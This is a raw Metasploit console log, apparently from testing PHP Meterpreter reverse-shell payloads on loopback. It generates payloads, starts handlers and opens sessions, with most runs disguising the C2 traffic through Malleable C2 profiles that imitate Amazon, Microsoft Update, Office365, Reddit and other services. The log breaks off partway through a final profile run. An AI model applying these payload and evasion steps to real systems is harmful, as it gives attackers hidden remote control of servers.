msf payload(php/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter/reverse_tcp) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4242 
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Sending stage (67114 bytes) to 127.0.0.1
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:38400) at 2026-06-15 11:38:28 +0200

msf payload(php/meterpreter/reverse_tcp) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

stageless

msf payload(php/meterpreter_reverse_tcp) > generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 59572 bytes to /tmp/msf.php...
msf payload(php/meterpreter_reverse_tcp) > to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_tcp) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4242 
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:47408) at 2026-06-15 11:28:26 +0200

msf payload(php/meterpreter_reverse_tcp) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

http

stageless

resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 59832 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 30lbdjer) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 30lbdjer) Redirecting stageless: URI '/yYvJoHd5zbYrLzggQQD9jAlPTUnjzlbTij53UlsuZ3fhPmI3yLb' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID yYvJoHd5zbYrLzggQQD9-wtVcenbiYBOud3a_halbMRO25tP9b2TEgU-7r-qBR1U-u_ZiejcyBBxq2QB
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 30lbdjer) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 30lbdjer) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 30lbdjer) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:60706) at 2026-06-15 12:41:24 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
amazon.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60444 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9hu437bx) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9hu437bx) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID AmyI6BtrNo6vZbxqxUp4UAcwJRdP6c2Y0cdnu35y4GQMmP5Pfv4U1_YrUy4hgX_J5BHweFb6eZnNRCH85K
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9hu437bx) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9hu437bx) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9hu437bx) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:51956) at 2026-06-15 12:43:02 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
bing_maps.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60464 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: dmzg95xo) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: dmzg95xo) Redirecting stageless: URI '/maps/overlaybfpr' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' -> UUID iYeJwQO-BzutB74IxyhN6glTwKzLOdspnUdjo8ipamkC4NGFI208hLuy8qYZlG1X2aZW9lMnDrg32t715
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: dmzg95xo) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: dmzg95xo) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: dmzg95xo) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:54648) at 2026-06-15 13:24:31 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
bingsearch_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60524 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: zu0oid7g) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: zu0oid7g) Redirecting stageless: URI '/search/' with UA 'Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko' -> UUID XX7eMhCOHIMSpAGreIvz8wOxPJc6QBdD9AbObOZ5uyCbti-PIVRs_s3pT-
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: zu0oid7g) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: zu0oid7g) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: zu0oid7g) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:57764) at 2026-06-15 13:26:16 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
microsof_update.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60144 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: z1yfve8i) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: z1yfve8i) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/bEdaeTRKMjVmOUdtSnJVcHpBbEVVUTgtdzFXUG5YVzJpSjdvbFZ0RG9hNnZ0cktVbkh3QzI4WlpkenZU.cab' with UA 'Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40' -> UUID lGZy4J25f9GmJrUpzAlEtgmVbLiQ4UbWTre5Xo5JzNwezf3oUVipzfgOFt9NtUA-wDiWch4EKQLfljQVifL4kbMJXKAMxz3fJRFEeiKJVmxnORVM0-RQBVbMnKVK
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: z1yfve8i) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: z1yfve8i) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: z1yfve8i) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:45846) at 2026-06-15 13:31:29 +0200

msf payload(php/meterpreter_reverse_http) > sessions =1
[-] Invalid session identifier: 0
msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
mscrl
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60352 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: iywfotzp) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: iywfotzp) Redirecting stageless: URI '/pki/mscorp/cps/default.htm' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36' -> UUID qMz78Mxvxd5NVl5ZJ3mpiw9Js6QSVj7FfIw4Ttg
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: iywfotzp) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: iywfotzp) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: iywfotzp) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:52466) at 2026-06-15 13:41:18 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
msnbcvideo_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60508 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: kpi9ycd7) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: kpi9ycd7) Redirecting stageless: URI '/z/msnbc2_live01@9615/manifest.f4m' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID hIZK30M3ztHVncaSv7Iw_gWUgOhCjHuqFAmA0tzU9Q06g3QBTzVW
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: kpi9ycd7) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: kpi9ycd7) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: kpi9ycd7) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:40996) at 2026-06-15 13:43:32 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
geComputer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
office365.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60344 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5lwyhjxd) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5lwyhjxd) Redirecting stageless: URI '/owa/' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID uve1kkg80xy_tKy71ZtZ9gPZthed5
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5lwyhjxd) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5lwyhjxd) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5lwyhjxd) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:46964) at 2026-06-15 13:47:15 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
oscp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 59972 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 8az396r2) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 8az396r2) Redirecting stageless: URI '/oscp/VCpMmG5pt-NgJHMrCguGqAMtXTY0g29KvW4GfyYHFW7SWw9NVnMaJIriw76z3A3jlZx6XXQlskvymyp1yIjssw3MrcawYG6vyb7OlAFTOsBtWi_ylSaBL-fq3UfqK' with UA 'Microsoft-CryptoAPI/6.1' -> UUID VCpMmG5pt-NgJHMrCguGgw77ZmG9naVhbAgEmXEYGxckMerbCu6XZ75J1ayXZFZ-ZDTgdHGC-MhcyFZzKQAWlxDK-LKEZEE-yF4Wo
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 8az396r2) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 8az396r2) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 8az396r2) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:45946) at 2026-06-15 13:48:56 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
meterpreter > 
reddit.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60588 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 82ti7bwf) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 82ti7bwf) Redirecting stageless: URI '/r/webdev/comments/95ltyr' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID ui_FWXJHlzq9ca5-115VdggV4UhLyAWubCEHL-_y32oyxxJf7Gq2yXi9qQIQ1zcwzXlbtS4gSGZkj
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 82ti7bwf) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 82ti7bwf) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 82ti7bwf) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:36096) at 2026-06-15 13:54:47 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
rtmp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
